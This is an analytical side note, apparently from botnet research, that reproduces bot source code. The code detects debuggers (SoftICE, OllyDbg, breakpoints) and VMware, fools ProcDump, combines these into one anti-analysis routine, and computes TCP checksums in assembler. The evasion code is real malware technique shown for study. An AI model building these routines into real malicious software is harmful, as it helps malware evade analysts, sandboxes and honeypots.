In this side note, we take a closer look at the source code of some bots. We demonstrate several examples of techniques used by current bots to either speed-up computations or to detect suspicious environments, such as detection of debuggers or virtual machines such as VMware. Furthermore, some bots use different techniques to make forensic analysis much more difficult.

  1. Detecting SoftICE

    
    /*
    	Function: IsSICELoaded
    	Description: This method is used by a lot of crypters/compresors it uses INT 41, 
    	             this interrupt is used by Windows debugging interface to detect if a 
    	             debugger is present. Only works under Windows.  
    	Returns: true if a debugger is detected
    */
    
    __inline bool IsSICELoaded() {
    	_asm {
    		mov ah, 0x43
    		int 0x68
    		cmp ax, 0x0F386 // Will be set by all system debuggers.
    		jz out_
    
    		xor ax, ax
    		mov es, ax
    		mov bx, word ptr es:[0x68*4]
    		mov es, word ptr es:[0x68*4+2]
    		mov eax, 0x0F43FC80
    		cmp eax, dword ptr es:[ebx]
    		jnz out_
    		jmp normal_
    	normal_:
    		xor eax, eax
    		leave
    		ret
    	out_:
    		mov eax, 0x1
    		leave
    		ret
    	}
    	return false;
    }
    
    
  2. Detecting SoftICE NT

    
    /*
    	Function: IsSoftIceNTLoaded
    	Description: Like the previous one but for use under Win NT only
    	Returns: true if SoftIce is loaded
    */
    
    __inline BOOL IsSoftIceNTLoaded() {
    	HANDLE hFile=CreateFile( "\\\\.\\NTICE",
    				GENERIC_READ | GENERIC_WRITE,
    				FILE_SHARE_READ | FILE_SHARE_WRITE,
    				NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    
    	if(hFile!=INVALID_HANDLE_VALUE) { CloseHandle(hFile); return true; }
    		return false; 
    	}
    
    
  3. Detecting OllyDbg

    	
    /*
    	Function: IsODBGLoaded
    	Description: Tests if OllyDbg/other app debuggers is/are enabled
    	Returns: true if a debugger is detected
    */
    
    __inline bool IsODBGLoaded() {
    	char *caption="DAEMON";
    	_asm {
    		push 0x00
    		push caption
    
    		mov eax, fs:[30h] 		// pointer to PEB
    		movzx eax, byte ptr[eax+0x2]
    		or al,al
    		jz normal_
    		jmp out_
    	normal_:
    		xor eax, eax
    		leave
    		ret
    	out_:
    		mov eax, 0x1
    		leave
    		ret
    	}
    }
    
    
  4. Detecting Breakpoints

    
    /*
    	Functions are declared as __inline, this causes the expansion of this code each time a function
    	is invoked, this is to difficult the cracker work by using this function more than once time
    	
    	Function: IsBPX
    	Description: Checks if the given memory address is a breakpoint
    	Returns: true if it is a breakpoint
    */
    
    __inline bool IsBPX(void *address) {
    	_asm {
    		mov esi, address	// load function address
    		mov al, [esi]		// load the opcode
    		cmp al, 0xCC		// check if the opcode is CCh
    		je BPXed		// yes, there is a breakpoint
    
    		// jump to return true
    		xor eax, eax 		// false,
    		jmp NOBPX 		// no breakpoint
    	BPXed:
    		mov eax, 1		// breakpoint found
    	NOBPX:
    	}
    }
    
    
  5. Detecting VMWare

    /*
    	executes VMware backdoor I/O function call
    */
    
    #define VMWARE_MAGIC		0x564D5868	// Backdoor magic number
    #define VMWARE_PORT		0x5658		// Backdoor port number
    #define VMCMD_GET_VERSION	0x0a		// Get version number
    
    int VMBackDoor(unsigned long *reg_a, unsigned long *reg_b, unsigned long *reg_c, unsigned long *reg_d) {
    	unsigned long a, b, c, d;
    	b=reg_b?*reg_b:0;
    	c=reg_c?*reg_c:0;
    
    	xtry {
    		__asm {
    			push eax
    			push ebx
    			push ecx
    			push edx
    
    			mov eax, VMWARE_MAGIC
    			mov ebx, b
    			mov ecx, c
    			mov edx, VMWARE_PORT
    
    			in eax, dx
    
    			mov a, eax
    			mov b, ebx
    			mov c, ecx
    			mov d, edx
    
    			pop edx
    			pop ecx
    			pop ebx
    			pop eax
    		}
    	} xcatch(...) {}
    
    	if(reg_a) *reg_a=a; if(reg_b) *reg_b=b; if(reg_c) *reg_c=c; if(reg_d) *reg_d=d;
    	return a; 
    }
    
    /*
    	Check VMware version only
    */
    
    int VMGetVersion() {
    	unsigned long version, magic, command;
    	command=VMCMD_GET_VERSION;
    	VMBackDoor(&version, &magic, &command, NULL);
    	if(magic==VMWARE_MAGIC) return version;
    	else return 0; }
    
    /*
    	Check if running inside VMWare
    */
    
    int IsVMWare() {
    	int version=VMGetVersion();
    	if(version) return true; else return false; 
    }
    
    
  6. Fooling ProcDump

    
    /*
    	Fool ProcDump with increasing size
    */
    
    void FoolProcDump() {
    	__asm {
    		mov eax, fs:[0x30]
    		mov eax, [eax+0xC]
    		mov eax, [eax+0xC]
    		add dword ptr [eax+0x20], 0x2000	// increase size variable
    	}
    }
    
    
  7. Combining everything

    
    bool CDebugDetect::IsDebug() {
    #ifdef _DEBUG
    
    	return false;
    
    #else
    
    	if(m_bIsDebug) return true;
    
    #ifndef _WIN32
    	// Anti-PTrace
    //	if(ptrace(PTRACE_TRACEME, 0, 1, 0)<0) {
    //		m_bIsDebug=true; return true;
    //	}
    #else
    	pfnIsDebuggerPresent IsDbgPresent=NULL;
    	HMODULE hK32=GetModuleHandle("KERNEL32.DLL");
    	if(!hK32) hK32=LoadLibrary("KERNEL32.DLL");
    	if(hK32) {
    		IsDbgPresent=(pfnIsDebuggerPresent)GetProcAddress(hK32, "IsDebuggerPresent");
    	}
    
    	FoolProcDump();
    	ScrewWithVirtualPC();
    
    	unsigned long lStartTime=GetTickCount();
    
    	if(IsBPX(&IsBPX)) {
    #ifdef DBGCONSOLE
    		g_cConsDbg.Log(5, "Breakpoint set on IsBPX, debugger active...\n");
    #endif // DBGCONSOLE
    		m_bIsDebug=true; return true;
    	}
    
    	if(IsBPX(&IsSICELoaded)) {
    #ifdef DBGCONSOLE
    		g_cConsDbg.Log(5, "Breakpoint set on IsSICELoaded, debugger active...\n");
    #endif // DBGCONSOLE
    		m_bIsDebug=true; return true;
    	}
    
    	if(IsBPX(&IsSoftIceNTLoaded)) {
    #ifdef DBGCONSOLE
    		g_cConsDbg.Log(5, "Breakpoint set on IsSoftIceNTLoaded, debugger active...\n");
    #endif // DBGCONSOLE
    		m_bIsDebug=true; return true;
    	}
    
    	if(IsBPX(&IsVMWare)) {
    #ifdef DBGCONSOLE
    		g_cConsDbg.Log(5, "Breakpoint set on IsVMWare, debugger active...\n");
    #endif // DBGCONSOLE
    		m_bIsDebug=true; return true;
    	}
    
    	if(IsSoftIceNTLoaded()) {
    #ifdef DBGCONSOLE
    		g_cConsDbg.Log(5, "SoftIce named pipe exists, maybe debugger is active...\n");
    #endif // DBGCONSOLE
    		m_bIsDebug=true; return true;
    	}
    
    	if(IsSICELoaded()) {
    #ifdef DBGCONSOLE
    		g_cConsDbg.Log(5, "SoftIce is loaded, debugger active...\n");
    #endif // DBGCONSOLE
    		m_bIsDebug=true; return true;
    	}
    
    //	if(IsVMWare()) {
    //#ifdef DBGCONSOLE
    //		g_cConsDbg.Log(5, "Running inside VMWare, probably honeypot...\n");
    //#endif // DBGCONSOLE
    //		m_bIsDebug=true; return true;
    //	}
    
    	if(IsDbgPresent) {
    		if(IsBPX(&IsDbgPresent)) {
    #ifdef DBGCONSOLE
    			g_cConsDbg.Log(5, "Breakpoint set on IsDebuggerPresent, debugger active...\n");
    #endif // DBGCONSOLE
    			m_bIsDebug=true; return true;
    		}
    
    		if(IsDbgPresent()) {
    #ifdef DBGCONSOLE
    			g_cConsDbg.Log(5, "IsDebuggerPresent returned true, debugger active...\n");
    #endif // DBGCONSOLE
    			m_bIsDebug=true; return true;
    		}
    	}
    
    	if((GetTickCount()-lStartTime) > 5000) {
    #ifdef DBGCONSOLE
    		g_cConsDbg.Log(5, "Routine took too long to execute, probably single-step...\n");
    #endif // DBGCONSOLE
    		m_bIsDebug=true; return true;
    	}
    #endif // WIN32
    
    	return false;
    
    #endif // _DEBUG
    }
    
    
  8. Calculating TCP/IP checksum in assembler to gain speed

    /*
    	This calculates a TCP/IP checksum
    */
    
    #ifdef WIN32
    	#define USE_ASM
    #endif // WIN32
    
    unsigned short checksum(unsigned short *buffer, int size) {
    	unsigned long cksum=0;
    
    #ifdef USE_ASM
    
    	unsigned long lsize=size;
    	char szMMBuf[8], *pMMBuf=szMMBuf;
    
    	__asm {
    		FEMMS
    
    		MOV			ECX, lsize				// ecx=lsize;
    		MOV			EDX, buffer				// edx=buffer;
    		MOV			EBX, cksum				// ebx=cksum;
    
    		CMP			ECX, 2					// size<2;
    		JS			CKSUM_LOOP2				// goto loop 2
    
    CKSUM_LOOP:
    
    		XOR			EAX, EAX				// eax=0;
    		MOV			AX, WORD PTR [EDX]			// ax=(unsigned short*)*buffer;
    		ADD			EBX, EAX				// cksum+=(unsigned short*)*buffer;
    
    		SUB			ECX, 2					// size-=2;
    		ADD			EDX, 2					// buffer+=2;
    		CMP			ECX, 1					// size>1
    		JG			CKSUM_LOOP				// while();
    
    		CMP			ECX, 0					// if(!size);
    		JE			CKSUM_FITS				// fits if equal
    
    CKSUM_LOOP2:
    
    		XOR			EAX, EAX				// eax=0;
    		MOV			AL, BYTE PTR [EDX]			// al=(unsigned char*)*buffer;
    		ADD			EBX, EAX				// cksum+=(unsigned char*)*buffer;
    
    		SUB			ECX, 1					// size-=1;
    		ADD			EDX, 1					// buffer+=1;
    		CMP			ECX, 0					// size>0;
    		JG			CKSUM_LOOP2				// while();
    
    CKSUM_FITS:
    
    		MOV			cksum, EBX				// cksum=ebx;
    
    		MOV			EAX, cksum				// eax=cksum;
    		SHR			EAX, 16					// eax=cksum>>16;
    		MOV			EBX, cksum				// ebx=cksum;
    		AND			EBX, 0xffff				// ebx=cksum&0xffff;
    
    		ADD			EAX, EBX				// eax=(cksum>>16)+(cksum&0xffff);
    
    		MOV			EBX, EAX				// ebx=cksum;
    		SHR			EBX, 16					// ebx=cksum>>16;
    		ADD			EAX, EBX				// cksum+=(cksum>>16);
    
    		MOV			cksum, EAX				// cksum=EAX;
    
    		FEMMS
    	}
    
    #else // USE_ASM
    
    	while(size>1) { cksum+=*buffer++; size-=2; }
    	if(size) cksum+=*(unsigned char*)buffer;
    
    	cksum=(cksum>>16)+(cksum&0xffff);
    	cksum+=(cksum>>16);
    
    #endif // USE_ASM
    
    	return (unsigned short)(~cksum); }
    */